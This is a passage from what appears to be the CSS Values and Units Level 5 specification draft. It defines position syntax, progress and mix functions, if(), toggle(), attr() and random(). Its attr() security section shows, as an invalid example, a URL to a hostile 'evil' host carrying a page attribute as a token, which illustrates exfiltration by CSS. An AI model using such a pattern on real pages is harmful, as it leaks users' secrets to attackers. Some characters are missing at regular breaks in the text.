n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

